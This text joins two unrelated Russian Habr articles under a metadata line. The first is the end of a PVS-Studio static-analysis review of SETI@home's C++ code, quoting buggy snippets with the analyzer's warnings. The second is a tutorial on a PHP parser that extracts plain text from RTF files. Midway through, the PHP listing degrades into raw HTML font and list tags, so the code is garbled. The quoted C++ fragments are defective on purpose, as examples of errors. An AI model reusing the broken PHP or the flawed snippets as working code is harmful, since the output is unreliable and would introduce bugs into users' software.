Примеры кода в этом разделе нельзя подвести под какую-то одну категорию, как например «указатели» или «циклы», так они имеют разную тематику, но по-своему интересны.
Поэтому предлагаю перейти ближе к делу:
```
struct SETI_WU_INFO : public track_mem
{
....
int splitter\_version;
....
};
SETI\_WU\_INFO::SETI\_WU\_INFO(const workunit &w):....
{
....
splitter\_version=(int)floor(w.group\_info->
splitter\_cfg->version)\*0x100;
splitter\_version+=(int)((w.group\_info->splitter\_cfg->version)\*0x100)
&& 0xff;
....
}
```
Предупреждение анализатора: [V560](http://www.viva64.com/ru/d/0153/) A part of conditional expression is always true: 0xff. seti\_header.cpp 96
Подозрительным выглядит оператор '&&', который используется для получения целочисленного значения. Возможно, в данном случае был необходим оператор '&', так как иначе переменная 'splitter\_version' всегда будет принимать одно из двух значений: 0 или 1.
Конечно, вероятность того, что подразумевалась прибавка к 'splitter\_version' 0 или 1 есть, но, думаю, вы согласитесь, что она не очень велика, и в таком случае можно было использовать более понятный код (например, тернарный оператор).
Следующий подозрительный фрагмент кода — методы, которые должны возвращать значение, но, тем не менее, ничего не возвращают. Более того — они имеют пустые тела. Такой код как минимум выглядит подозрительно. Предлагаю взглянуть самим:
```
struct float4
{
....
inline float4 rsqrt() const {
}
inline float4 sqrt() const {
}
inline float4 recip() const {
}
....
};
```
Предупреждения анализатора:* [V591](http://www.viva64.com/ru/d/0195/) Non-void function should return a value. x86\_float4.h 237
* [V591](http://www.viva64.com/ru/d/0195/) Non-void function should return a value. x86\_float4.h 239
* [V591](http://www.viva64.com/ru/d/0195/) Non-void function should return a value. x86\_float4.h 241
Как видно из этого фрагмента, ни один из методов ничего не возвращает. Я специально выписал отдельно данный участок кода, и был несколько удивлён, увидев, что компиляция проходит успешно. Никаких предупреждений компилятора также не было. Но только до тех пор, пока данные методы не будут вызваны. При попытке сделать это всё же возникает ошибка компиляции.
Что это было: задел на будущее или ошибка — сказать сложно, так как никаких комментариев к данному коду не было. Просто имейте ввиду то, что я написал выше.
Но не будем зацикливаться на этом примере, лучше взглянем, что ещё удалось найти.
```
template
std::vector xml\_decode\_field(const std::string &input, ....)
{
....
std::string::size\_type start,endt,enc,len;
....
if ((len=input.find("length=",start)!=std::string::npos))
length=atoi(&(input.c\_str()[len+strlen("length=")]));
....
}
```
Предупреждение анализатора: [V593](http://www.viva64.com/ru/d/0197/) Consider reviewing the expression of the 'A = B != C' kind. The expression is calculated as following: 'A = (B != C)'. xml\_util.h 891
Как понятно из кода, в ходе парсинга входных данных необходимо было получить значение длины (переменная 'length').
Что подразумевалось? В строке осуществляется поиск подстроки «length=», если она обнаружена, индекс начала подстроки записывается в переменную 'len'. После этого исходная строка преобразуется в C-строку, из которой при помощи оператора индексации извлекается необходимое значение длины. В качестве вычисления индекса символа, хранящего значение длины, как раз используется индекс подстроки «length=» и её длина.
Однако из-за приоритета операций (или неправильно расставленных скобок в условии, видно, что они дублируются) всё пойдёт не так. Сначала будет выполнено сравнение со значением 'npos', а результат этого сравнения (0 или 1) будет записан в переменную 'len', что приведёт к неправильному вычислению индекса массива.
В ходе просмотра лога анализа я наткнулся на парочку интересных макросов. Предлагаю взглянуть и вам:
```
#define FORCE_FRAME_POINTER (0)
#define SETIERROR( err, errmsg ) do { \
FORCE_FRAME_POINTER; \
throw seti_error( err, __FILE__, __LINE__, errmsg ); \
} while (0)
```
Предупреждение анализатора: [V606](http://www.viva64.com/ru/d/0221/) Ownerless token '0'. analyzefuncs.cpp 212
Сразу хочу сказать, что этот макрос по ходу кода встречался неоднократно. Непонятно, почему бы просто не генерировать исключение. Вместо этого в коде встречается непонятная лексема и присутствует цикл, для которого выполняется только одна итерация. Подход интересный, но к чему такой велосипед — неясно.
### Указатели и работа с памятью
Для разнообразия — пример кода с указателями. Как правило, во фрагментах кода, содержащих работу с указателями или адресами, вероятность наступить на грабли порядком возрастает. Поэтому они вызывают больший интерес.
```
size_t GenChirpFftPairs(....)
{
....
double * ChirpSteps;
....
ChirpSteps = (double *)calloc(swi.num_fft_lengths, sizeof(double));
....
CRate+=ChirpSteps[j];
....
if (ChirpSteps) free (ChirpSteps);
....
}
```
Предупреждение анализатора: [V595](http://www.viva64.com/ru/d/0205/) The 'ChirpSteps' pointer was utilized before it was verified against nullptr. Check lines: 138, 166. chirpfft.cpp 138
Анализатор предупреждает о том, что указатель используется до того, как выполняется проверка, на то, является ли он нулевым. Если не удастся выделить память и функция 'calloc' вернёт значение 'NULL', будет выполнено разыменовывание нулевого указателя, что, как все мы прекрасно знаем, не очень хорошо.
Другой момент заключается в том, что функция 'free' вызывается только в том случае, если указатель не равен 'NULL'. Эта проверка избыточна, так как функция 'free' без проблем обрабатывает нулевые указатели.
Другой участок кода с подозрительным использованием функции 'memset'. Давайте посмотрим:
```
int ReportTripletEvent(....)
{
....
static int * inv;
if (!inv)
inv = (int*)calloc_a(swi.analysis_cfg.triplet_pot_length,
sizeof(int), MEM_ALIGN);
memset(inv, -1, sizeof(inv));
for (i=0;i
```
Предупреждение анализатора: [V579](http://www.viva64.com/ru/d/0181/) The memset function receives the pointer and its size as arguments. It is possibly a mistake. Inspect the third argument. analyzereport.cpp 271
Из данного фрагмента кода видно, что сначала выделяется память под массив, после чего его элементы заполняются значением '-1', а после с ними происходит работа. Но вот в функцию 'memset' третьим параметром передаётся не размер массива, а размер указателя. Для правильного заполнения массива необходимыми символами третьим аргументом следовало передавать размер буфера.
### Циклы
Во многих проектах встречаются циклы, тело которых либо выполняется бесконечно, либо не выполняется вообще. SETI@home не стал исключением. С другой стороны — здесь последствия не выглядят такими критичными, как в некоторых других проектах.
```
std::string hotpix::update_format() const
{
std::ostringstream rv("");
for (int i=2;i<2;i++)
rv << "?,";
rv << "?";
return rv.str();
}
```
Предупреждение анализатора: [V621](http://www.viva64.com/ru/d/0238/) Consider inspecting the 'for' operator. It's possible that the loop will be executed incorrectly or won't be executed at all. schema\_master.cpp 9535
Ошибка весьма тривиальна. Как все мы знаем, тело цикла 'for' выполняется, пока его условное выражение истинно. Здесь же уже на первой итерации условие будет ложным, так что сразу будет осуществлён выход из цикла. Лично я не могу понять, что здесь подразумевалось, но тем не менее тело этого цикла никогда не будет выполняться.
Аналогичный фрагмент кода встретился ещё раз, но в другом методе другого класса:
[V621](http://www.viva64.com/ru/d/0238/) Consider inspecting the 'for' operator. It's possible that the loop will be executed incorrectly or won't be executed at all. schema\_master.cpp 11633
Не столь прозрачный, но потенциально ошибочный пример:
```
template
std::istream &operator >>(std::istream &i, sqlblob &b)
{
....
while (!i.eof())
{
i >> tmp;
buf+=(tmp+' ');
}
....
}
```
Предупреждение анализатора: [V663](http://www.viva64.com/ru/d/0289/) Infinite loop is possible. The 'cin.eof()' condition is insufficient to break from the loop. Consider adding the 'cin.fail()' function call to the conditional expression. sqlblob.h 58
Так как мы рассматриваем циклы, несложно догадаться, что ошибка — в условии выхода из цикла 'while'. Хотя многие наверняка не обнаружат ничего подозрительного, так как применяемый здесь метод выглядит вполне стандартным. Но подводный камень есть, иначе этого примера в статье не было бы.
Дело в том, что при возникновении сбоя чтения данных такой проверки будет недостаточно. В таком случае метод 'eof()' будет постоянно возвращать 'false', как следствие — бесконечный цикл.
Для исправления ошибки необходимо добавить дополнительное условие. Тогда цикл будет выглядеть следующим образом:
```
while(!i.eof() && !i.fail())
{
//do something
}
```
### Прочие подозрительные места
Аккуратными нужно быть и с битовыми операциями. В ходе анализа встретился участок кода, приводящий к неопределённому поведению:
```
int seti_analyze (ANALYSIS_STATE& state)
{
....
int last_chirp_ind = - 1 << 20, chirprateind;
....
}
```
Предупреждение анализатора: [V610](http://www.viva64.com/ru/d/0225/) Undefined behavior. Check the shift operator '<<'. The left operand '-1' is negative. analyzefuncs.cpp 177
Как видно из кода, переменная инициализируется значением, полученным в результате битового сдвига. И всё бы ничего, но левый операнд отрицателен, а согласно стандарту C++11, эта операция приводит к неопределённому поведению.
Выходит палка о двух концах. С одной стороны — подобный код давно и неоднократно используется, с другой — в стандарте всё же указано, что данный код приводит к неопределённому поведению.
Окончательное решение остаётся за программистом, но обратить внимание на это стоит.
Неоднократно встречался код, где одной и той же переменной дважды присваивались различные значения, причём между этими присваиваниями никаких других операций с переменной не производилось. Один из примеров такого кода:
```
int checkpoint(BOOLEAN force_checkpoint)
{
int retval=0, i, l=xml_indent_level;
....
retval = (int)state_file.write(str.c_str(), str.size(), 1);
// ancillary data
retval = state_file.printf(
"%f\n"
"%d\n"
"%d\n",
best_spike->score,
best_spike->bin,
best_spike->fft_ind);
....
}
```
Предупреждение анализатора: [V519](http://www.viva64.com/ru/d/0108/) The 'retval' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 450, 452. seti.cpp 452
В данной ситуации тяжело сказать, что подразумевалось или как это необходимо исправить. Но программист, писавший код, возможно, поймёт причину такого использования переменной. Нам же остаётся только удивляться и строить догадки.
Встретились ещё четыре подобных участков кода. Соответствующие сообщения анализатора:* [V519](http://www.viva64.com/ru/d/0108/) The 'retval' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 470, 472. seti.cpp 472
* [V519](http://www.viva64.com/ru/d/0108/) The 'retval' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 490, 492. seti.cpp 492
* [V519](http://www.viva64.com/ru/d/0108/) The 'retval' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 513, 515. seti.cpp 515
* [V519](http://www.viva64.com/ru/d/0108/) The 'retval' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 533, 536. seti.cpp 536
* [V519](http://www.viva64.com/ru/d/0108/) The 'lReturnValue' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 85, 97. win\_util.cpp 97
Возможно, эти переменные использовались просто для просмотра значений, которые возвращают функции при отладке кода. Тогда ничего опасного нет и эти предупреждения можно игнорировать или подавить одним из множества способов, которые предоставляет анализатор PVS-Studio.
Напоследок приведу пример, где несколько нерационально используется функция 'strlen':
```
int parse_state_file(ANALYSIS_STATE& as)
{
....
while(fgets(p, sizeof(buf)-(int)strlen(buf), state_file))
{
if (xml_match_tag(buf, "
```
Предупреждение анализатора: [V814](http://www.viva64.com/ru/d/0309/) Decreased performance. Calls to the 'strlen' function have being made multiple times when a condition for the loop's continuation was calculated. seti.cpp 770
Ввиду того, что буфер (переменная 'buf') не изменяется в ходе выполнения цикла, нет никакой необходимости вычислять его длину на каждой итерации. Возможно, целесообразнее было бы завести для этого отдельную переменную, с которой и производить сравнение. Это не столь заметно при малых размерах буфера, но при больших, когда количество итераций существенно больше, может быть куда заметнее.
Данный код встречался неоднократно, вот ещё несколько подобных сообщений:* [V814](http://www.viva64.com/ru/d/0309/) Decreased performance. Calls to the 'strlen' function have being made multiple times when a condition for the loop's continuation was calculated. seti.cpp 784
* [V814](http://www.viva64.com/ru/d/0309/) Decreased performance. The 'strlen' function was called multiple times inside the body of a loop. xml\_util.cpp 663
* [V814](http://www.viva64.com/ru/d/0309/) Decreased performance. The 'strlen' function was called multiple times inside the body of a loop. xml\_util.cpp 686
Что ещё удалось найти?
----------------------
Были и другие предупреждения анализатора, но фрагменты кода я счёл не настолько интересными, чтобы отдельно выписывать их и разбирать. Просто можете прочесть этот раздел и узнать, что ещё встретилось в ходе проверки.
Например, попадались «висящие» массивы, которые объявляются, но никак не используются. Благо, что размер их был фиксированным и небольшим. Тем не менее, стековая память под них выделялась, что нецелесообразно.
Также несколько раз встречалось разыменовывание указателя с последующим его увеличением (\*p++). При этом значение, хранящееся в указателе, никак не использовалось. Из примеров было видно, что подразумевалось просто изменение самого указателя, но всё же его зачем-то разыменовывали. Данный код потенциально ошибочен, так как порой может подразумеваться изменение значения, хранящегося в указателе, а не его самого. Поэтому относиться с недоверием к этим предупреждениям не стоит.
Неоднократно встречалась функция 'fprintf', форматная строка которой не соответствовала передаваемым в функцию фактическим аргументам. Это приводит к неопределённому поведению и может служить причиной, например, вывода на экран бессмыслицы.
Заключение
----------
После проверки у меня осталось двоякое впечатление. С одной стороны — я был несколько расстроен тем, что ошибок в коде нашлось куда меньше, чем ожидалось, следовательно — меньше материала для статьи. С другой — проект всё же был проверен, и это было интересно. А малое количество ошибок свидетельствует о качестве кода, что тоже хорошо.
Что ещё добавить? Устанавливайте клиент [SETI@home](http://www.viva64.com/go.php?url=1616) — помогайте в поиске внеземных цивилизаций, устанавливайте [PVS-Studio](http://www.viva64.com/ru/pvs-studio/) — он поможет вам в поиске ошибок в исходных кодах, написанных на C/C++.
Эта статья на английском
------------------------
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Vasiliev. [A Unicorn Seeking Extraterrestrial Life: Analyzing SETI@home's Source Code](http://www.viva64.com/en/b/0327/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/259151/ | null | ru | null |
# Текст любой ценой: RTF
Что ж продолжим наши изыскания на предмет получения текста из различных форматов данных. Не так давно мы с вами научились вытаскивать текст из [zipped-xml-based файлов](http://habrahabr.ru/blogs/php/69417/) (odt и docx), а также, в начале этой недели, из [pdf](http://habrahabr.ru/blogs/php/69568/). Сегодня мы продолжим с обещанным rtf.
Rich Text Format (он же rtf), ~~вы могли бы подумать, достаточно забытый, хотя и~~ не очень сложный формат представления текстовых данных. Что ж, относительно несложный для получения текста, но за свою историю: от своей первой версии до текущей 1.9.1 — он приобрёл под 300 страниц официально документации и огромное количество надстроек, которые в большей степени нам будут мешать при получении plain text'а. Попробуем их обойти...
#### А что там внутри?
Как уж повелось давайте заглянем вовнутрь rtf-файла и посмотрим, что там внутри:
Что мы видим? ~~Я вижу наше любимое стихотворение «Парус».~~ Мы видим изначально текстовый 8-битный формат данных. Это уже радует — когда в исходных данных текст, понимать, что происходит, гораздо проще. Теперь давайте разберёмся, как эти самые данные прочитать. Для этого я расскажу немного теории по теме.
Будем считать, что rtf состоит из *управляющих слов*, которые могут быть *сгруппированы* во вложенные множества. Управляющие слово начинается на обратный слэш (`\`), группа обёрнута в фигурные скобки (`{` и `}`).
Управляющие слово состоит из последовательности букв английского алфавита (от `a` до `z`) и может быть завершено численным параметром (возможно отрицательным). Как вариант, слово может содержать один не цифро-буквенный ascii-символ. Всё, что не подпадает под эти правила, не является частью управляющего слова. Таким образом, последовательность вида `\rtf1\ansi\ansicpg1251` без проблем делится на три слова `rtf` с параметром 1 (major-версия формата), `ansi` (текущая кодировка) и `ansicpg` с параметром 1251 (текущая кодовая страница под номером 1251 — т.е. Windows-1251).
Группированные множества определяют область действия управляющих слов. Таким образом, управляющие слова описанные внутри фигурных скобок работают только внутри них и всех дочерних подмножеств. Для того, чтобы правильно отработать какие слова имеют место сейчас — требуется вести стек управляющих слов. При открытии фигурной скобки создавать новый элемент-массив в стеке, в который сразу же добавлять данные предыдущего слоя стека, при закрытии скобки — удалять самый верхний слой.
Ещё стоит отметить, что некоторые управляющие слова могут быть закрыты с помощью добавления параметра ноль, а не создания новой подгруппы. Например, следующие варианты эквивалентны: `This is {\b bold} text`, `This is \b bold \b0 text` = `This is **bold** text`.
#### Откуда брать текст?
С устройством нового для нас формата мы познакомились, теперь зададимся вопросом, а где брать текст. Тут всё не так сложно, как может показаться — текст надо брать там, где текущая последовательность не идентифицируется, как управляющее слово. С парой исключений, естественно.
Во-первых, стоит отметить, что исходная кодировка rtf-файла — это ANSI, поэтому без всякий изысков сохранится только, английский текст. Нас же интересует, как минимум, русский текст, а ещё лучше Unicode, не так ли? Что правда, то правда — rtf хоть и старый формат, но сгодится на сохранение и того и другого.
Итак, в rtf'е есть возможность использования второй половины таблицы ASCII, та что от 128 и выше. С учётом текущей кодировки (выше управляющее слово `\ansicpg`), конечно же. Для этого в RTF была введена последовательность вида `\'hh`, где hh — это двоичный hex-код символа из таблицы ASCII.
Ну и второй, более интересный вариант, это unicode-кодированные данные. Для них в формат включено лаконично короткое ключевое слово `\uABCD` с цифровым параметром ABCD. ABCD в данном случае код unicode-символа в десятичной системе счисления. Всё опять просто, как вы могли заметить.
Просто, да не очень. В rtf существует ещё одно ключевое слово `\ucN`, которое тесно связано с Unicode. Дело в том, что формат RTF очень рьяно поддерживает совместимость со старыми устройствами, на которых возможно придётся открывать данный файл. Как вариант, подобное устройство (ну например компьютер с Windows 3.11 :) не сможет прочитать Unicode, что ему делать? Для этого после каждого unicode-символа, шифрованного ключевым словом `\u` может быть указано от нуля до нескольких символов, которые должны быть отображены в случае, если rtf-viewer не способен отобразить или разобрать текущие данные (по документации, если просмотрщик не может отобразить верно данные, он должен их пропустить).
В связи с этим, большинство современных редакторов после unicode-управляющего слова ставят символ вопроса, как знак, что требуется показать вместо текущего символа. Но возможны и варианты, например: `Lab\u915GValue`. Зададимся вопросом — сколько символов требуется отобразить, если нет возможности показать Unicode. Всё опять же не очень сложно — указанное выше ключевое слово `\ucN` в качестве параметра N как раз и предоставляет это значение. Т.е. перед Unicode-данными обязательно появится что-то типа `\uc1`, что скажет нам пропустить один символ после unicode'а.
#### Давайте почитаем!
Похоже, что накопленных нами данных будет достаточно, чтобы прочитать наши первые rtf-файлы. Поехали:
> 1. function rtf\_isPlainText($s) {
> 2. $failAt = array("\*", "fonttbl", "colortbl", "datastore", "themedata");
> 3. for ($i = 0; $i < count($failAt); $i++)
> 4. if (!empty($s[$failAt[$i]])) return false;
> 5. return true;
> 6. }
> 7. function rtf2text($filename) {
> 8. $text = file\_get\_contents($filename);
> 9. if (!strlen($text))
> 10. return "";
> 11. $document = "";
> 12. $stack = array();
> 13. $j = -1;
> 14. for ($i = 0; $i < strlen($text); $i++) {
> 15. $c = $text[$i];
> 16. switch ($c) {
> 17. case "\\":
> 18. $nc = $text[$i + 1];
> 19. if ($nc == '\\' && rtf\_isPlainText($stack[$j])) $document .= '\\';
> 20. elseif ($nc == '~' && rtf\_isPlainText($stack[$j])) $document .= ' ';
> 21. elseif ($nc == '\_' && rtf\_isPlainText($stack[$j])) $document .= '-';
> 22. elseif ($nc == '\*') $stack[$j]["\*"] = true;
> 23. elseif ($nc == "'") {
> 24. $hex = substr($text, $i + 2, 2);
> 25. if (rtf\_isPlainText($stack[$j]))
> 26. $document .= html\_entity\_decode("&#".hexdec($hex).";");
> 27. $i += 2;
> 28. } elseif ($nc >= 'a' && $nc <= 'z' || $nc >= 'A' && $nc <= 'Z') {
> 29. $word = "";
> 30. $param = null;
> 31. for ($k = $i + 1, $m = 0; $k < strlen($text); $k++, $m++) {
> 32. $nc = $text[$k];
> 33. if ($nc >= 'a' && $nc <= 'z' || $nc >= 'A' && $nc <= 'Z') {
> 34. if (empty($param))
> 35. $word .= $nc;
> 36. else
> 37. break;
> 38. } elseif ($nc >= '0' && $nc <= '9')
> 39. $param .= $nc;
> 40. elseif ($nc == '-') {
> 41. if (empty($param))
> 42. $param .= $nc;
> 43. else
> 44. break;
> 45. } else
> 46. break;
> 47. }
> 48. $i += $m - 1;
> 49. $toText = "";
> 50. switch (strtolower($word)) {
> 51. case "u":
> 52. $toText .= html\_entity\_decode("&#x"</font><font color="#339933">.</font><font color="#990000">dechex</font><font color="#009900">(</font><font color="#000088">$param</font><font color="#009900">)</font><font color="#339933">.</font><font color="#0000ff">";"</font><font color="#009900">)</font><font color="#339933">;</font></li>
> <li> <font color="#000088">$ucDelta</font> <font color="#339933">=</font> <font color="#339933">@</font><font color="#000088">$stack</font><font color="#009900">[</font><font color="#000088">$j</font><font color="#009900">]</font><font color="#009900">[</font><font color="#0000ff">"uc"</font><font color="#009900">]</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">if</font> <font color="#009900">(</font><font color="#000088">$ucDelta</font> <font color="#339933">></font> <font color="#cc66cc">0</font><font color="#009900">)</font></li>
> <li> <font color="#000088">$i</font> <font color="#339933">+=</font> <font color="#000088">$ucDelta</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"par"</font><font color="#339933">:</font> <font color="#b1b100">case</font> <font color="#0000ff">"page"</font><font color="#339933">:</font> <font color="#b1b100">case</font> <font color="#0000ff">"column"</font><font color="#339933">:</font> <font color="#b1b100">case</font> <font color="#0000ff">"line"</font><font color="#339933">:</font> <font color="#b1b100">case</font> <font color="#0000ff">"lbr"</font><font color="#339933">:</font></li>
> <li> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#0000ff">"<font color="#000099">\n</font>"</font><font color="#339933">;</font> </li>
> <li> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"emspace"</font><font color="#339933">:</font> <font color="#b1b100">case</font> <font color="#0000ff">"enspace"</font><font color="#339933">:</font> <font color="#b1b100">case</font> <font color="#0000ff">"qmspace"</font><font color="#339933">:</font></li>
> <li> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#0000ff">" "</font><font color="#339933">;</font> </li>
> <li> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"tab"</font><font color="#339933">:</font> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#0000ff">"<font color="#000099">\t</font>"</font><font color="#339933">;</font> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"chdate"</font><font color="#339933">:</font> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#990000">date</font><font color="#009900">(</font><font color="#0000ff">"m.d.Y"</font><font color="#009900">)</font><font color="#339933">;</font> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"chdpl"</font><font color="#339933">:</font> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#990000">date</font><font color="#009900">(</font><font color="#0000ff">"l, j F Y"</font><font color="#009900">)</font><font color="#339933">;</font> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"chdpa"</font><font color="#339933">:</font> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#990000">date</font><font color="#009900">(</font><font color="#0000ff">"D, j M Y"</font><font color="#009900">)</font><font color="#339933">;</font> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"chtime"</font><font color="#339933">:</font> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#990000">date</font><font color="#009900">(</font><font color="#0000ff">"H:i:s"</font><font color="#009900">)</font><font color="#339933">;</font> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"emdash"</font><font color="#339933">:</font> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#990000">html\_entity\_decode</font><font color="#009900">(</font><font color="#0000ff">"—"</font><font color="#009900">)</font><font color="#339933">;</font> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"endash"</font><font color="#339933">:</font> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#990000">html\_entity\_decode</font><font color="#009900">(</font><font color="#0000ff">"–"</font><font color="#009900">)</font><font color="#339933">;</font> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"bullet"</font><font color="#339933">:</font> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#990000">html\_entity\_decode</font><font color="#009900">(</font><font color="#0000ff">"•"</font><font color="#009900">)</font><font color="#339933">;</font> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"lquote"</font><font color="#339933">:</font> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#990000">html\_entity\_decode</font><font color="#009900">(</font><font color="#0000ff">"‘"</font><font color="#009900">)</font><font color="#339933">;</font> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"rquote"</font><font color="#339933">:</font> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#990000">html\_entity\_decode</font><font color="#009900">(</font><font color="#0000ff">"’"</font><font color="#009900">)</font><font color="#339933">;</font> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"ldblquote"</font><font color="#339933">:</font> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#990000">html\_entity\_decode</font><font color="#009900">(</font><font color="#0000ff">"«"</font><font color="#009900">)</font><font color="#339933">;</font> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"rdblquote"</font><font color="#339933">:</font> <font color="#000088">$toText</font> <font color="#339933">.=</font> <font color="#990000">html\_entity\_decode</font><font color="#009900">(</font><font color="#0000ff">"»"</font><font color="#009900">)</font><font color="#339933">;</font> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">default</font><font color="#339933">:</font></li>
> <li> <font color="#000088">$stack</font><font color="#009900">[</font><font color="#000088">$j</font><font color="#009900">]</font><font color="#009900">[</font><font color="#990000">strtolower</font><font color="#009900">(</font><font color="#000088">$word</font><font color="#009900">)</font><font color="#009900">]</font> <font color="#339933">=</font> <font color="#990000">empty</font><font color="#009900">(</font><font color="#000088">$param</font><font color="#009900">)</font> ? <font color="#009900">true</font> <font color="#339933">:</font> <font color="#000088">$param</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#009900">}</font></li>
> <li> <font color="#b1b100">if</font> <font color="#009900">(</font>rtf\_isPlainText<font color="#009900">(</font><font color="#000088">$stack</font><font color="#009900">[</font><font color="#000088">$j</font><font color="#009900">]</font><font color="#009900">)</font><font color="#009900">)</font></li>
> <li> <font color="#000088">$document</font> <font color="#339933">.=</font> <font color="#000088">$toText</font><font color="#339933">;</font></li>
> <li> <font color="#009900">}</font></li>
> <li> <font color="#000088">$i</font><font color="#339933">++;</font></li>
> <li> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"{"</font><font color="#339933">:</font></li>
> <li> <font color="#990000">array\_push</font><font color="#009900">(</font><font color="#000088">$stack</font><font color="#339933">,</font> <font color="#000088">$stack</font><font color="#009900">[</font><font color="#000088">$j</font><font color="#339933">++</font><font color="#009900">]</font><font color="#009900">)</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">"}"</font><font color="#339933">:</font></li>
> <li> <font color="#990000">array\_pop</font><font color="#009900">(</font><font color="#000088">$stack</font><font color="#009900">)</font><font color="#339933">;</font></li>
> <li> <font color="#000088">$j</font><font color="#339933">--;</font></li>
> <li> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">case</font> <font color="#0000ff">'\0'</font><font color="#339933">:</font> <font color="#b1b100">case</font> <font color="#0000ff">'\r'</font><font color="#339933">:</font> <font color="#b1b100">case</font> <font color="#0000ff">'\f'</font><font color="#339933">:</font> <font color="#b1b100">case</font> <font color="#0000ff">'\n'</font><font color="#339933">:</font> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">default</font><font color="#339933">:</font></li>
> <li> <font color="#b1b100">if</font> <font color="#009900">(</font>rtf\_isPlainText<font color="#009900">(</font><font color="#000088">$stack</font><font color="#009900">[</font><font color="#000088">$j</font><font color="#009900">]</font><font color="#009900">)</font><font color="#009900">)</font></li>
> <li> <font color="#000088">$document</font> <font color="#339933">.=</font> <font color="#000088">$c</font><font color="#339933">;</font></li>
> <li> <font color="#b1b100">break</font><font color="#339933">;</font></li>
> <li> <font color="#009900">}</font></li>
> <li> <font color="#009900">}</font></li>
> <li> <font color="#b1b100">return</font> <font color="#000088">$document</font><font color="#339933">;</font></li>
> <li><font color="#009900">}</font></li>
> </ol></blockquote>Код с комментариями вы можете получить на <a href="https://github.com/rembish/TextAtAnyCost">GitHub'е</a>.<br/>
> <br/>
> <h4>Заключение</h4><br/>
> Что мы имеем в итоге? Данный код справится верно с большинством rtf-файлов, но есть несколько способов его улучшить. Во-первых, стоит добавить дополнительные отсечения на нетекстовые данные — у меня отсекаются только шрифты, цветовая палитра, тема оформления, бинарные данные, а также всё, что помечено, как «не читай меня, если не можешь» (<code>\\*</code>). Во-вторых же, стоит ещё распарсить кодировку и кодовую страницу, для того чтобы вернее отобразить ключевые слова вида <code>\'hh</code>.<br/>
> <br/>
> Что дальше? Дальше я бы хотел затронуть форматы электронных книг, такие как fb2, epub и подобные им. В связи с этим, я хотел бы обратиться за помощью к читателям: во-первых, какие ещё форматы электронных книг стоит посмотреть, а во-вторых, где можно найти побольше файлов, указанных вами форматов. Заранее спасибо :)<br/>
> <br/>
> <b>Ссылки:</b><ul>
> <li><a href="http://latex2rtf.sourceforge.net/RTF-Spec-1.0.txt">latex2rtf.sourceforge.net/RTF-Spec-1.0.txt</a></li>
> <li><a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=DD422B8D-FF06-4207-B476-6B5396A18A2B&displaylang=en">www.microsoft.com/downloads/details.aspx?FamilyId=DD422B8D-FF06-4207-B476-6B5396A18A2B&displaylang=en</a></li>
> <li><a href="http://habrahabr.ru/blogs/php/69568/">Текст любой ценой: PDF</a></li>
> <li><a href="http://habrahabr.ru/blogs/php/69417/">Текст любой ценой: DOCX и ODT</a></li>
> <li><a href="http://habrahabr.ru/blogs/php/72745/">Текст любой ценой: WCBFF и DOC</a></li>
> </ul></div>
